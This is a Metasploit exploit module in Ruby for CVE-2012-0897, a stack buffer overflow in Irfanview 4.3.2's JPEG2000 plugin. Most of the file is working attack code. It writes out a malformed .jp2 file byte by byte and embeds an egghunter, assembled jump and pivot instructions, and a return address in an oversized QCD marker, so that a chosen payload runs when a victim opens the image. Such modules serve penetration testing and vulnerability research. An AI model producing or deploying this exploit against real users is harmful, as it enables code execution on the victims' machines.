##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow vulnerability in
    version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has been
    tested on a specific version of irfanview (v4.3.2), although other versions may
    work also. The vulnerability is triggered via parsing an invalid qcd chunk
    structure and specifying a malformed qcd size and data.

    Payload delivery and vulnerability trigger can be executed in multiple ways.
    The user can double click the file, use the file dialog, open via the icon
    and drag/drop the file into Irfanview\'s window. An egg hunter is used for
    stability.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery
     'mr_me <steventhomasseeley[at]gmail.com>',    # msf-fu
     'juan vazquez'                                # more improvements
    ],
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2012-0897' ],
     [ 'OSVDB', '78333'],
     [ 'BID', '51426' ],
     [ 'URL', 'http://www.greyhathacker.net/?p=525' ],
    ],
   'Platform'          => [ 'win' ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'           =>
    {
     'Space'    => 4000,
     'DisableNops' => true,
    },
   'Targets'        =>
    [
     # push esp; retn [i_view32.exe]
     # http://www.oldapps.com/irfanview.php?old_irfanview=7097
     # http://irfanview.tuwien.ac.at/plugins/irfanview_plugins_432_setup.exe
     [ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]
    ],
   'DisclosureDate' => 'Jan 16 2012',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),
    ], self.class)
 end

 # encode our string like unicode except we are not using nulls
 def encode_bytes(raw_bytes)
  encoded_bytes = ""
  0.step(raw_bytes.length-1, 2) { |i|
   encoded_bytes << raw_bytes[i+1]
   encoded_bytes << raw_bytes[i]
  }
  return encoded_bytes
 end

 def exploit
  jp2  = ""
  jp2 << "\x00\x00\x00\x0c"         #
  jp2 << "\x6a\x50\x20\x20"         # [jP  ] <0x6a502020> magic 0xd0a870a,len 12
  jp2 << "\x0d\x0a\x87\x0a"         #
  jp2 << "\x00\x00\x00\x14"         #
  jp2 << "\x66\x74\x79\x70"         #
  jp2 << "\x6a\x70\x32\x20"         #
  jp2 << "\x00\x00\x00\x00"         #         MinorVersion = 0      = [\0\0\0\0]
  jp2 << "\x6a\x70\x32\x20"         #         Compat = 0x6a703220 = [jp2 ]
  jp2 << "\x00\x00\x00\x38"         #
  jp2 << "\x75\x75\x69\x64"         # [uuid] <0x75756964> len 56 data offset 8
  jp2 << "\x61\x70\x00\xde\xec\x87" # 56 bytes with start and end tags
  jp2 << "\xd5\x11\xb2\xed\x00\x50" #
  jp2 << "\x04\x71\xfd\xdc\xd2\x00" #
  jp2 << "\x00\x00\x40\x01\x00\x00" #
  jp2 << "\x00\x00\x00\x00\x60\x09" #
  jp2 << "\x00\x00\x00\x00\x00\x00" #
  jp2 << "\x00\x00\x00\x00\x00\x00" #
  jp2 << "\x00\x00\x30\x00\x00\x00" #
  jp2 << "\x00\x00\x00\x2d"         #
  jp2 << "\x6a\x70\x32\x68"         # [jp2h] <0x6a703268> len 45 data offset 8
  jp2 << "\x00\x00\x00\x16"         #
  jp2 << "\x69\x68\x64\x72"         # [ihdr] <0x69686472> len 22 data offset 8
  jp2 << "\x00\x00\x00\x0a"         #         ImageHeight = 10
  jp2 << "\x00\x00\x00\x0a"         #         ImageWidth = 10
  jp2 << "\x00\x03"                 #         NumberOfComponents = 3
  jp2 << "\x07"                     #         BitsPerComponent = 7
  jp2 << "\x07"                     #         Compression = 7
  jp2 << "\x01"                     #         Colorspace = 0x1 = unknown
  jp2 << "\x00\x00\x00\x00\x0f"     #
  jp2 << "\x63\x6f\x6c\x72"         # [colr] <0x636f6c72> len 15 data offset 8
  jp2 << "\x01"                     #         Method = 1
  jp2 << "\x00"                     #         Precedence = 0
  jp2 << "\x00"                     #         ColorSpaceAproximation = 0
  jp2 << "\x00\x00\x00"             #         EnumeratedColorSpace = 16 = sRGB
  jp2 << "\x10\x00\x00\x00\x00"     #
  jp2 << "\x6a\x70\x32\x63"         # [jp2c] <0x6a703263> length 0 data offset 8
  jp2 << "\xff\x4f"                 # <0xff4f=JP2C_SOC> Start of codestream
  jp2 << "\xff\x51"                 # <0xff51=JP2C_SIZ> length 47
  jp2 << "\x00\x2f"                 #         47 bytes
  jp2 << "\x00\x00"                 #         Capabilities = 0
  jp2 << "\x00\x00\x00\x0a"         #         GridWidth = 10
  jp2 << "\x00\x00\x00\x0a"         #         GridHeight = 10
  jp2 << "\x00\x00\x00\x00"         #         XImageOffset = 0
  jp2 << "\x00\x00\x00\x00"         #         YImageOffset = 0
  jp2 << "\x00\x00\x00\x0a"         #         TileWidth = 10
  jp2 << "\x00\x00\x00\x0a"         #         TileHeight = 10
  jp2 << "\x00\x00\x00\x00"         #         Xtileoffset = 0
  jp2 << "\x00\x00\x00\x00"         #         Ytileoffset = 0
  jp2 << "\x00\x03"                 #         NumberOfComponents = 3
  jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
  jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
  jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
  jp2 << "\xff\x52"                 # <0xff52=JP2C_COD> length 12
  jp2 << "\x00\x0c"                 #   12 bytes
  jp2 << "\x00"                     #   codingStyle=0=entropy coder w/o partition
  jp2 << "\x00"                     #   ProgressionOrder = 0
  jp2 << "\x00\x05"                 #   NumberOfLayers = 0x5
  jp2 << "\x01"                     #   MultiComponentTransform=0x1=5/3 reversible
  jp2 << "\x05"                     #   DecompLevels = 5
  jp2 << "\x04"                     #   CodeBlockWidthExponent=0x4+2 # cbw ->64
  jp2 << "\x04"                     #   CodeBlockHeightExponent=0x4+2 # cbh ->64
  jp2 << "\x00"                     #   CodeBLockStyle = 0
  jp2 << "\x00"                     #   QMIFBankId = 0

  eggoptions =
  {
   :checksum => false,
   :eggtag => 'pwnd'
  }

  hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
  qcd_data  = ""
  qcd_data << make_nops(10)
  qcd_data << encode_bytes(hunter)
  qcd_data << rand_text_alpha(146)

  jmp_hunter = %q{
   jmp $-0xad
   inc ecx
  }

  # jump to our egghunter
  jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string

  qcd_data << encode_bytes(jmp_hunter)
  qcd_data << rand_text_alpha(196-qcd_data.length)
  qcd_data << encode_bytes([target.ret].pack("V"))

  # align ecx and jmp
  pivot = %q{
   inc ch
   jmp ecx
  }

  pivot  = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string

  qcd_data << encode_bytes(pivot)
  qcd_data << egg

  jp2 << "\xff\x5c"                         # start
  jp2 << "\x00\xf5"                         # arbitrary size to trigger overflow
  jp2 << "\x22"                             # guard
  jp2 << qcd_data                           # malicious code
  jp2 << "\xff\x90"                         # <0xff90=JP2C_SOT>len 10
  jp2 << "\x00\x0a"                         # 10 bytes
  jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01"
  jp2 << "\xff\x93"                         # <0xff93=JP2C_SOD> Start of data
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
  jp2 << "\x80\x80"
  jp2 << "\xff\xd9"

  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(jp2)
 end

end